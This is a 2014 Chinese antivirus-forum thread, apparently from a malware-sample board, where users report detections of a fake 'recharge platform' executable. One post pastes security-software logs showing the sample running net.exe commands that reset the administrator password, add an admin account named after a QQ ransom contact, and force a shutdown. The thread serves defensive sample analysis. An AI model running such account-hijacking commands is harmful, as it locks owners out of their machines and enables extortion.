再来一发，求扫描or双击（风险自负）

显示全部楼层 · 发表于 2014-8-17 13:06:28

小a网页基因报毒

显示全部楼层 · 发表于 2014-8-17 13:06:29

liulangzhecgr 发表于 2014-8-17 12:41
2014-8-17 12:36:21 创建新进程允许
进程: c:\windows\explorer.exe
目标: f:\downloads\测试6\意 ...

大师，lsarpc也可以改密码了？这个管道是接到lsass的没错，但是好像没有安全属性，samr很神秘，根本一个字节都看不到…

显示全部楼层 · 发表于 2014-8-17 13:32:15

kav拦截

显示全部楼层 · 发表于 2014-8-17 13:40:14

关机前的修改管道无用，又是net，两个密码都是hui520

显示全部楼层 · 发表于 2014-8-17 14:12:28

敲竹杠估计不行了。。这么多，各厂估计都入库了。

显示全部楼层 · 发表于 2014-8-17 14:38:56

wenshui1013 发表于 2014-8-17 14:12
敲竹杠估计不行了。。这么多，各厂估计都入库了。

我也是这么觉得

显示全部楼层 · 发表于 2014-8-17 15:17:00

2014-08-17 15:11:56 运行应用程序    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\意发充值平台_20140703224615\意发充值平台.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:user administrator hui520
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe

2014-08-17 15:11:56 运行应用程序    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\意发充值平台_20140703224615\意发充值平台.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:user 要密码加QQ7528740 hui520 /add
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe

2014-08-17 15:11:57 运行应用程序    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\意发充值平台_20140703224615\意发充值平台.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:localgroup administrators 要密码加QQ7528740 /add
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe

2014-08-17 15:12:00 关闭/重启系统    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\意发充值平台_20140703224615\意发充值平台.exe

触发规则:所有程序规则->*

显示全部楼层 · 发表于 2014-8-17 16:01:38

深山红叶__ 发表于 2014-8-17 13:06
大师，lsarpc也可以改密码了？这个管道是接到lsass的没错，但是好像没有安全属性，samr很神秘，根本一个 ...

其实对系统一点也不懂。看别人的回帖总觉得要调用net命令... 是否不怎么清楚，本人用组策略禁运而对net 免疫哦！

显示全部楼层 · 发表于 2014-8-17 18:23:16

微点主要靠主防，库就不考虑了。

显示全部楼层 · 发表于 2014-8-17 20:36:17

卡巴不让下

[病毒样本] 再来一发，求扫描or双击（风险自负）

本帖子中包含更多资源